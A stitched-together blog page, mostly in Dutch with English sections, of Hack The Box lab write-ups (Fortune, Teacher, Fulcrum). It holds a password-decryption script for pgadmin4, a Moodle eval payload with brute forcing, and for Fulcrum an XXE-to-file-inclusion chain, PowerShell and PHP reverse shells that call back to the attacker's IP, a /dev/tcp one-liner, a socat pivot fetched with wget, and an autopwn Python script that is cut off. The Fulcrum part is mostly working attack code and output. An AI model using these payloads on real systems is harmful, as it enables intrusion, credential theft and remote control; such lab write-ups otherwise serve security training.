From bob@fortune.htb Sat Nov  3 11:18:51 2018
Return-Path: <bob@fortune.htb>
Delivered-To: charlie@fortune.htb
Received: from localhost (fortune.htb [local])
        by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53
        for <charlie@fortune.htb>;
        Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
From:  <bob@fortune.htb>
Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
To: charlie@fortune.htb
Subject: pgadmin4
Message-ID: <196699abe1fed384@fortune.htb>
Status: RO

Hi Charlie,

Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.

Cheers,

Bob

fortune$ 

Opmerking: pgadmin is een beheer- en ontwikkelingsplatform voor PostgreSQL .
Eerder toen we de verhoogde netwerktoegang kregen, was er een http poort voor pgadmin4 dus ik heb de webmap in /var/appsrv en de database was er:

fortune$ cd /var/appsrv/                                                                                                                                                                                          
fortune$ ls -la
total 20
drwxr-xr-x   5 root       wheel     512 Nov  2  2018 .
drwxr-xr-x  24 root       wheel     512 Nov  2  2018 ..
drwxr-xr-x   5 _fortune   _fortune  512 Aug  2 09:15 fortune
drwxr-x---   4 _pgadmin4  wheel     512 Nov  3  2018 pgadmin4
drwxr-xr-x   4 _sshauth   _sshauth  512 Feb  3 05:08 sshauth
fortune$ cd pgadmin4/                                                                                                                                                                                             
fortune$ ls -la
total 252
drwxr-x---  4 _pgadmin4  wheel     512 Nov  3  2018 .
drwxr-xr-x  5 root       wheel     512 Nov  2  2018 ..
-rw-r-----  1 _pgadmin4  wheel  118784 Nov  3  2018 pgadmin4.db
-rw-r-----  1 _pgadmin4  wheel     479 Nov  3  2018 pgadmin4.ini
drwxr-x---  2 _pgadmin4  wheel     512 Nov  3  2018 sessions
drwxr-x---  3 _pgadmin4  wheel     512 Nov  3  2018 storage
fortune$ 

Ik heb het gedownload op mijn machine:

root@kali:~/Desktop/HTB/boxes/fortune/ssh# scp -i id_rsa charlie@fortune.htb:/var/appsrv/pgadmin4/pgadmin4.db ../
pgadmin4.db                                                                                                                                                                      100%  116KB   7.7KB/s   00:15    
root@kali:~/Desktop/HTB/boxes/fortune/ssh# 

Daarna gebruikte ik strings om te zien of ik iets interessants kon krijgen:

root@kali:~/Desktop/HTB/boxes/fortune# strings pgadmin4.db
SQLite format 3
indexsqlite_autoindex_debugger_function_arguments_1debugger_function_arguments

----------------
 Removed Output
----------------

ConfigDB
	ConfigDB
bob@fortune.htb$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
charlie@fortune.htb$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ
bob@fortune.htb
3	charlie@fortune.htb

----------------
 Removed Output
----------------

9eSECURITY_PASSWORD_SALTqIhAhRt3xq_dzIEqyJQFmWnymFbO1cZVhbQaTWA-v9Q=9
!eSECRET_KEYR_EFY1hb236guS3jNq1aHyPcruXbjk7Ff-QwL6PMqJM=?
-eCSRF_SESSION_KEYsaQWKx5BCyVZMH2weOiNv3Dsvzh4GchPM16kwBRYPxs=

----------------
 Removed Output
----------------

8postgresdbautUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGzprefer<STORAGE_DIR>/.postgresql/postgresql.crt<STORAGE_DIR>/.postgresql/postgresql.key22

----------------
 Removed Output
----------------

Ik heb wat gezouten hashes, en vooral dit:

postgresdba utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz

Dit is de wachtwoordhash van de DB-beheerder en we weten dat dit hetzelfde is als het rootwachtwoord.
pgadmin is een open-source software, dus ik zocht op github naar alle cryptografie-gerelateerde dingen en vond dit script genaamd crypto.py .
Ik nam de functies die nodig zijn om de hash te decoderen, vervolgens maakte ik een script om de hash / de sleutel te nemen en de hash te decoderen met behulp van de functies van crypto.py :

#!/usr/bin/python
from __future__ import division
import base64
import hashlib
import os
import six
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import CFB8

padding_string = b'}'
iv_size = AES.block_size // 8


def pad(key):
    """Add padding to the key."""

    if isinstance(key, six.text_type):
        key = key.encode()

    # Key must be maximum 32 bytes long, so take first 32 bytes
    key = key[:32]

    # If key size is 16, 24 or 32 bytes then padding is not required
    if len(key) in (16, 24, 32):
        return key

    # Add padding to make key 32 bytes long
    return key.ljust(32, padding_string)

def decrypt(ciphertext, key):
    """
    Decrypt the AES encrypted string.

    Parameters:
        ciphertext -- Encrypted string with AES method.
        key        -- key to decrypt the encrypted string.
    """

    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:iv_size]

    cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize()

ciphertext = raw_input("hash : ")
key = raw_input("key : ")
password = decrypt(ciphertext,key)

print "[*] Password : " + password

Het enige wat overblijft is om de juiste sleutel te geven, ik heb de andere hashes geprobeerd die ik uit de database heb gekregen als een sleutel en de hash van bob werkte:

$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
root@kali:~/Desktop/HTB/boxes/fortune# ./decrypt.py 
hash : utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz
key : $pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
[*] Password : R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!
root@kali:~/Desktop/HTB/boxes/fortune# 

En we bezaten root!

gebruikte bestanden:

https://github.com/puckiestyle/python/blob/master/htb-fortune-rce.py  

https://github.com/puckiestyle/python/blob/master/htb-fortune-crypto.py

Alle credits naar : https://0xrick.github.io/hack-the-box/fortune/

HTB – Teacher

Zoals altijd beginnen we met een nmap scan

c:\PENTEST>nmap -sV 10.10.10.153
Starting Nmap 7.70 ( https://nmap.org ) at 2019-12-13 09:28 W. Europe Standard Time
Nmap scan report for 10.10.10.153
Host is up (0.026s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 ((Debian))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.88 seconds

vervolgens gaan we naar de website

We kunnen zien dat een nieuw portaal open is voor docenten en studenten

klik op andere links, het brengt ons naar de galerij

Stap 2: Dirbuster uitvoeren

blader door de link / afbeeldingen

we kwamen erachter dat de afbeelding 5.png enkele fouten bevat

mogelijk wachtwoord: Th4CoolTheacha

Gebruikersnaam: Giovanni

We weten ook dat CMS moodle op de webserver wordt uitgevoerd

gebruik crunch om een wachtwoordenlijstbestand te genereren

genereer een lengte = 15 wachtwoordenbestanden en probeer te bruteforcen

wfuzz -w wachtwoord.txt -L -d “username = Giovanni & password = FUZZ” – hw 1224 http://10.10.10.153/moodle/login/index.php

Het paswoord is : Th4C00lTheacha#

log in moodle

En we hebben ons op het dashboard aangemeld als Giovanni

Google moodle exploit en ontdekte de “EVIL TEACHER” exploit voor het op afstand uitvoeren van code

https://blog.ripstech.com/2018/moodle-remote-code-execution/

in de wiskundige formulefunctie, laat php-functie eval () ons toe om willekeurige php-code uit te voeren
turn edit on

add a quiz

add some questions

add the successful payload /*{a*/`$_GET[0]`;//{x}} ​

url decode and modify the code to make it be remote code executable

and here we got a reverse shell back with netcat

root@kali:~/htb# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.153] 34996
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@teacher:/var/www/html/moodle/question$

 

ga naar de moodle-database, het config.php-bestand bevat het databasewachtwoord

voor mysql

log in de database

SELECT * from mdl_user\G

we vinden een paswoordhash voor giovannibak

google de md5 hash en decrypted het als expelled

pak de user vlag

in de /tmp directory zien we course backup zip bestand

uit het backup.sh-script dat we hebben gevonden in / usr / bin

dit vertelt ons

ga naar home directory / home / giovanni / work

maak een archief met de inhoud van de map met cursussen

blader naar / tmp

geef lees- en schrijfrechten aan iedereen in de map / home / giovanni / work / tmp en submappen

script kan worden gebruikt om de inhoud van de te halen
/ root-map en verkrijg de root-vlag. cursusbestand kan worden hernoemd

dus kunnen we root.txt met het script extraheren

Auteur : Jacco Straathof

HTB – Fulcrum

 

HTB – Fulcrum

Zoals altijd beginnen we met een nmap scan

root@kali:~/htb/fullcrum# nmap 10.10.10.62
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-10 06:13 EST
Nmap scan report for 10.10.10.62
Host is up (0.059s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
4/tcp open unknown
22/tcp open ssh
80/tcp open http
88/tcp open kerberos-sec
9999/tcp open abyss

Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds

Een ingangspunt vinden (d.w.z. een shell krijgen)

Als we http://10.10.10.62:4/ bezoeken zien we een link naar http://10.10.10.62:4/index.php?page=home:

<h1>Under Maintance</h1><p>Please <a href="http://10.10.10.62:4/index.php?page=home">try again</a> later.</p>

Hmmm … Nou, het ruikt naar een ‘file-inclusion’ Maar we kunnen het voorlopig niet laten werken. Laten we meer onderzoeken. Op poort 56423 komen we iets heel interessants tegen, d.w.z. een JSON-reactie:

{"Heartbeat":{"Ping":"Pong"}}

https://blog.netspi.com/playing-content-type-xxe-json-endpoints/. Het lijkt erop dat XXE op JSON-eindpunten vrij gebruikelijk zijn, zelfs op productiesystemen.

Laten we een webserver aan onze kant laten draaien:

$ python -m SimpleHTTPServer SRVPORT
Serving HTTP on 0.0.0.0 port SRVPORT ...

Nu zenden we een ‘POST request’

POST / HTTP/1.1
Host: 10.10.10.62:56423
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Length: 198

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE hack [<!ENTITY xxe SYSTEM "http://SRVHOST:SRVPORT/shell.php" >]>
<foo>&xxe;</foo>

We krijgen dit antwoord terug op onze webserver:

10.10.10.62 - - [09/Jun/2018 09:07:23] "GET /shell.php HTTP/1.0" 200 -

Maar helaas zal dit NIET onze shell.php uitvoeren. Als we maar op de een of andere manier ons php-bestand konden opnemen … Wacht! Wat? Omvatten? Inclusie? Herinner je je page = home op poort 4? Laten we het proberen:

root@kali:~/htb/fullcrum# curl http://10.10.10.62:56423/ -X POST --data-binary '<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE hack [<!ENTITY xxe SYSTEM "http://127.0.0.1:4/index.php?page=http://10.10.16.70/shell" >]><foo>&xxe;</foo>'
root@kali:~/htb# rlwrap nc -lvp 60001
listening on [any] 60001 ...
10.10.10.62: inverse host lookup failed: Unknown host
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.62] 48490
Linux Fulcrum 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 11:24:21 up  2:00,  0 users,  load average: 0.40, 0.22, 0.19
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1154): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Fulcrum:/$

Hier is de index.php op poort 4 voor referentie:
www-data@Fulcrum:~$ cat /var/www/uploads/index.php
<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
    echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
}else{
    $inc = $_REQUEST["page"];
    include($inc.".php");
}
?>

Hier is de index.php op poort 56423 voor referentie:

www-data@Fulcrum:~$ cat /var/www/api/index.php
<?php
        header('Content-Type:application/json;charset=utf-8');
        header('Server: Fulcrum-API Beta');
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
        $input = simplexml_import_dom($dom);
        $output = $input->Ping;
        //check if ok
        if($output == "Ping")
        {
                $data = array('Heartbeat' => array('Ping' => "Ping"));
        }else{
                $data = array('Heartbeat' => array('Ping' => "Pong"));
        }
        echo json_encode($data);
?>

Getting shell on the webserver as WebUser

There is an interesting powershell script in /var/www/uploads/Fulcrum_Upload_to_Corp.ps1:

www-data@Fulcrum:~$ cat /var/www/uploads/Fulcrum_Upload_to_Corp.ps1
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/

$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA=' 
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)

Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1

Read this: https://blogs.technet.microsoft.com/heyscriptingguy/2013/03/26/decrypt-powershell-secure-string-password/ If we run the above script code we can retrieve the password like this:

PS> $5.GetNetworkCredential().Password
M4ng£m£ntPa55

No need for Windoze. You can run the code online here: https://tio.run/#powershell

Now, we know those credentials WebUser:M4ng£m£ntPa55. If we look the file /etc/nginx/sites-enabled/default, we discover an interesting IP address: 192.168.122.228. This IP has port 5986 open (WS-Management a.k.a. WinRM a.k.a PowerShell Remoting). So, let’s redirect the port 5986 of 192.168.122.228 to the port 60217 of 10.10.10.62. Then we can access it from outside. I prefer to use socat for this job (you can find it here: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat).

www-data@Fulcrum:/$ mkdir /dev/shm/.a
www-data@Fulcrum:/$ cd /dev/shm/.a
www-data@Fulcrum:/dev/shm/.a$ wget http://SRVHOST:SRVPORT/socat
www-data@Fulcrum:/dev/shm/.a$ chmod +x socat
www-data@Fulcrum:/dev/shm/.a$ ./socat tcp-listen:60217,reuseaddr,fork tcp:192.168.122.228:5986 &

Now, we can use either Windows Powershell to connect or Ruby’s winrm module. To connect from a windows box via my linux system I do a second port redirection like this:

On my linux system I run:

$ socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:60217

On my windows powershell I run:

PS> Enter-PSSession -ComputerName 10.0.0.1 -Credential $5 -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)

where 10.0.0.1 is the gateway for the Windows box i.e. my linux system.

Personally, I prefer to stay away from Windoze and I use ruby’s winrm modules. You can see some examples here: https://github.com/Alamot/code-snippets/tree/master/winrm). Your connection settings should be like this:

conn = WinRM::Connection.new( 
  endpoint: 'https://10.10.10.62:60217/wsman',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true
)
$ ruby winrm_shell_with_upload.rb
PS webserver\webuser@WEBSERVER Documents>

Getting LDAP credentials

The file C:\Inetpub\wwwroot\web.config contains some credentials:

PS webserver\webuser@WEBSERVER Documents> [System.Net.Dns]::GetHostByName(($env:computerName))

HostName  Aliases AddressList   
--------  ------- -----------   
WebServer {}      {192.168.55.2}

PS webserver\webuser@WEBSERVER Documents> cd C:\Inetpub\wwwroot
PS webserver\webuser@WEBSERVER wwwroot> cat web.config
...
 connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!"
...

Searching LDAP

Let’s see what computers we know using an LDAP query:

PS C:\Users\Webuser\Desktop> (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrum.local","fulcrum\ldap","PasswordForSearching123!")),"(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name }

Path                                                                    Properties
----                                                                    ----------
LDAP://dc.fulcrum.local/CN=DC,OU=Domain Controllers,DC=fulcrum,DC=local {ridsetreferences, logoncount, codepage, objectcategory...}      
LDAP://dc.fulcrum.local/CN=FILE,CN=Computers,DC=fulcrum,DC=local        {logoncount, codepage, objectcategory, iscriticalsystemobject...}

We see two CNs: DC and FILE. Now let’s query about info:

PS C:\Users\Webuser\Desktop> (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrum.local","fulcrum\ldap","PasswordForSearching123!")),"(info=*)")).FindAll() | %{ $_.Properties }

Name                           Value
----                           -----
logoncount                     {18}
codepage                       {0}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=fulcrum,DC=local}
description                    {Has logon rights to the file server}
usnchanged                     {143447}
instancetype                   {4}
name                           {Bobby Tables}
badpasswordtime                {131522885566857829}
pwdlastset                     {131514417841217344}
objectclass                    {top, person, organizationalPerson, user}
badpwdcount                    {0}
samaccounttype                 {805306368}
lastlogontimestamp             {131556801131693417}
usncreated                     {12878}
objectguid                     {88 53 29 79 114 147 100 75 187 41 125 239 148 113 13 111}
info                           {Password set to ++FileServerLogon12345++}
whencreated                    {10/2/2017 6:06:57 PM}
adspath                        {LDAP://dc.fulcrum.local/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
useraccountcontrol             {66048}
cn                             {Bobby Tables}
countrycode                    {0}
primarygroupid                 {513}
whenchanged                    {11/20/2017 7:35:13 PM}
dscorepropagationdata          {10/2/2017 6:09:28 PM, 10/2/2017 6:06:57 PM, 1/1/1601 12:00:00 AM}
lastlogon                      {131556801131693417}
distinguishedname              {CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
samaccountname                 {BTables}
objectsid                      {1 5 0 0 0 0 0 5 21 0 0 0 70 111 187 188 76 255 138 170 168 71 215 161 80 4 0 0}
lastlogoff                     {0}
displayname                    {Bobby Tables}
accountexpires                 {9223372036854775807}
userprincipalname              {BTables@fulcrum.local}

Bingo! We have found some credentials (fulcrum.local\btables:++FileServerLogon12345++) for the file server:

PS webserver\webuser@WEBSERVER wwwroot> Invoke-Command -ComputerName file.fulcrum.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock { type C:\Users\Btables\Desktop\user.txt }

fce52521c8f872b514f037fada78daf4

Getting shell on fIle server as btables

We can use port 53 to get a reverse shell on file server (I saw that port 53 was open via pfSense, ):

https://github.com/puckiestyle/ruby/blob/master/htb-fullcrum-shellto-btables.rb

require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'https://127.0.0.1:5986/wsman',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true
)

conn.shell(:powershell) do |shell|
  output = shell.run("$pass = convertto-securestring -AsPlainText -Force -String '++FileServerLogon12345++'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\\btables',$pass; Invoke-Command -ComputerName file.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('10.10.16.70',53); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close(); }") do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
  puts "The script exited with exit code #{output.exitcode}"
end

Don’t forget the listener:

root@kali:~/htb/fullcrum# rlwrap nc -nlvp 53
listening on [any] 53 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.62] 21580
hostname
FILE
PS C:\Users\BTables\Documents> cd ..
PS C:\Users\BTables> cd desktop
PS C:\Users\BTables\desktop> type user.txt
fce52521c8f872b514f037fada78daf4
PS C:\Users\BTables\desktop>

Privilege Escalation

Now we have a shell on the file server. We can use our credentials to get access on the netlogon share on the DC:

PS fulcrum\btables@FILE Documents> net use \\dc.fulcrum.local\netlogon /user:fulcrum\btables ++FileServerLogon12345++
The command completed successfully.
PS fulcrum\btables@FILE Documents> cd \\dc.fulcrum.local\netlogon
PS fulcrum\btables@FILE netlogon>

Here we find several interesting scripts like this one for example:

PS fulcrum\btables@FILE netlogon>  cat a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1

# Map network drive v1.0
$User = '923a'
$Pass = '@fulcrum_bf392748ef4e_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred

Let’s write a very simple powershell script to test automatically all the user/pass pairs:

function test($u,$p) {
    (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null;
}

$files = @(Get-ChildItem \\dc.fulcrum.local\netlogon\*.ps1);
foreach ($file in $files) {
    $result = Select-String -Path $file -pattern "'(.*)'";
    $user = $result.Matches[0].Groups[1].Value;
    $pass = $result.Matches[1].Groups[1].Value;
    if (test "fulcrum.local\$user" "$pass")) {
        echo "fulcrum.local\$user $pass";
    }
}

We convert it to one-liner and run it:

PS fulcrum\btables@FILE netlogon> function test($u,$p) { (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null; }; $files = @(gci \\dc.fulcrum.local\netlogon\*.ps1); foreach ($file in $files) { $result = Select-String -Path $file -pattern "'(.*)'"; $user = $result.Matches[0].Groups[1].Value; $pass = $result.Matches[1].Groups[1].Value; if (test "fulcrum.local\$user" "$pass") { echo "fulcrum.local\$user $pass"; }; }

fulcrum.local\923a @fulcrum_bf392748ef4e_$

Now we have the domain admin credentials. Let’s get the root flag:

PS fulcrum\btables@FILE netlogon> $pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\923a',$pass; Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock { cat C:\Users\Administrator\Desktop\root.txt }

8ddbe372e57c019bb6c4cdb5b35a0cab

Autopwn script

Here is my autopwn script for Fulcrum. It make use of a ruby helper as the python winrm module doesn’t work correctly. Don’t forget to set LHOST appropriately. It also needs superuser rights (to bind the privileged port 53) and socat. You can find the relevant files here: https://github.com/Alamot/code-snippets/tree/master/hacking/HTB/Fulcrum

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Author: Alamot (Antonios Tsolis)
import re
import sys
import time
from pwn import *
import signal, thread
import requests, urllib3
import SimpleHTTPServer, SocketServer
from subprocess import Popen
signal.signal(signal.SIGINT, signal.SIG_DFL)

DEBUG = False
LHOST="10.10.15.45"
LPORT=60001
LPORT2=53
RHOST="10.10.10.62"
RPORT=56423
SRVHOST=LHOST
SRVPORT=60000
WINRM_RDPORT=60217
TIMEOUT=30

if DEBUG:
    context.log_level = 'debug'

php_rev_shell = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = "'+str(LHOST)+'"; $port = '+str(LPORT)+'; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {  if (!$daemon) { print "$string\\n"; } } ?>'

# This works too:
# php_rev_shell="<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+str(LHOST)+"/"+str(LPORT)+" 0>&1'\");"

ruby_helper = """require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'https://"""+str(RHOST)+":"+str(WINRM_RDPORT)+"""/wsman',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true
)

conn.shell(:powershell) do |shell|
  output = shell.run("$pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\\\\923a',$pass; Invoke-Command -ComputerName file.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('"""+str(LHOST)+"',"+str(LPORT2)+"""); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); try { $sendback = (iex $data | Out-String ); } catch { $sendback = ($_.Exception|out-string) }; $sendback2 = $sendback + 'PS ' + $(whoami) + '@' + $env:computername + ' ' + $((gi $pwd).Name) + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close(); }") do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
  puts "The script exited with exit code #{output.exitcode}"
end
"""


def start_webserver():
    try:
        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
        httpd = SocketServer.TCPServer(("", SRVPORT), Handler)
        log.info("Serving payload at port " + str(SRVPORT))
        httpd.serve_forever()
        log.info("Web server thread exited successfully.")
    except (KeyboardInterrupt, SystemExit):
        httpd.shutdown()

def send_payload():
    try:
        client = requests.session()
        client.keep_alive = True
        # Send payload
        log.info("Sending php shell payload...")
        xml="<?xml version='1.0' encoding='UTF-8' ?><!DOCTYPE hack [<!ENTITY xxe SYSTEM 'http://127.0.0.1:4/index.php?page=http://"+str(SRVHOST)+":"+str(SRVPORT)+"/shell' >]><foo>&xxe;</foo>"
        response = client.post("http://"+str(RHOST)+":"+str(RPORT)+"/", data=xml)
    except requests.exceptions.RequestException as e:
        log.failure(str(e))
    finally:
        if client:
            client.close()
        #log.info("Web payload thread exited successfully.")


with open("shell.php", "wt") as f:
    f.write(php_rev_shell)
with open("ruby_helper.rb", "wb") as f:
    f.write(ruby_helper)
try:
    th1 = threading.Thread(target=start_webserver)
    th2 = threading.Thread(target=send_payload)
    th1.daemon = True
    th2.daemon = True
    th1.start()
    th2.start()
    phpshell = listen(LPORT, timeout=TIMEOUT).wait_for_connection()
    if phpshell.sock is None:
        log.failure("Connection timeout.")
        sys.exit()
    phpshell.sendline("cd /dev/shm")
    log.info("Uploading socat for port redirection")
    phpshell.sendline("wget http://"+str(SRVHOST)+":"+str(SRVPORT)+"/socat")
    phpshell.sendline("chmod +x socat")
    phpshell.sendline("./socat tcp-listen:"+str(WINRM_RDPORT)+",reuseaddr,fork tcp:192.168.122.228:5986 &")
    #Uncomment if you want an interactive shell on the webserver instead of the file server
    #phpshell.interactive()
    #sys.exit()
    time.sleep(5)
    log.info("Executing ruby_helper.rb")
    Popen(["ruby", "ruby_helper.rb"])
    pssh = listen(LPORT2, timeout=TIMEOUT).wait_for_connection()
    pssh.interactive()
